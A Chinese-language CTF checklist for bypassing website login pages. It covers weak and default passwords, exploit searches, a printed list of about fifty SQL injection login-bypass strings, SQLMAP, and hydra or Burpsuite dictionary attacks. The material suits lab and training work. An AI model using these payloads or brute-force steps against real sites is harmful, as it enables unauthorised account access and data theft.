CTF中网站用户登录页面渗透测试步骤
CTF测试中经常遇到靶机的HTTP服务需要用户认证才能登录其后台,因此很多情况下需要绕开登录的认证限制或者得到用户名密码信息。按照优先级,对CTF中网站用户登录按下面的步骤进行尝试:
-
用弱密码登录,比如admin, root, password等。
-
查看页面源代码,看是否有用户名密码等信息。
-
利用互联网搜索引擎查询靶机的CMS是否有默认的用户名和密码。
-
查看靶机的CMS是否有非认证(unauthenticated)的漏洞可以利用,直接拿到目标主机的shell,方法主要为:
-
Kali Linux上的searchsploit工具
-
搜索引擎
-
-
看是否可以利用login bypass cheat sheet中语句尝试绕开登录验证机制。
or 1=1 or 1=1-- or 1=1# or 1=1/* admin' -- admin' # admin'/* admin' or '1'='1 admin' or '1'='1'-- admin' or '1'='1'# admin' or '1'='1'/* admin'or 1=1 or ''=' admin' or 1=1 admin' or 1=1-- admin' or 1=1# admin' or 1=1/* admin') or ('1'='1 admin') or ('1'='1'-- admin') or ('1'='1'# admin') or ('1'='1'/* admin') or '1'='1 admin') or '1'='1'-- admin') or '1'='1'# admin') or '1'='1'/* 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 admin" -- admin" # admin"/* admin" or "1"="1 admin" or "1"="1"-- admin" or "1"="1"# admin" or "1"="1"/* admin"or 1=1 or ""=" admin" or 1=1 admin" or 1=1-- admin" or 1=1# admin" or 1=1/* admin") or ("1"="1 admin") or ("1"="1"-- admin") or ("1"="1"# admin") or ("1"="1"/* admin") or "1"="1 admin") or "1"="1"-- admin") or "1"="1"# admin") or "1"="1"/* 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
-
利用SQLMAP工具看能力利用SQL注入漏洞拿到用户名和密码。
-
利用Burpsuite或者hydra工具对登录表单进行基于字典的破解。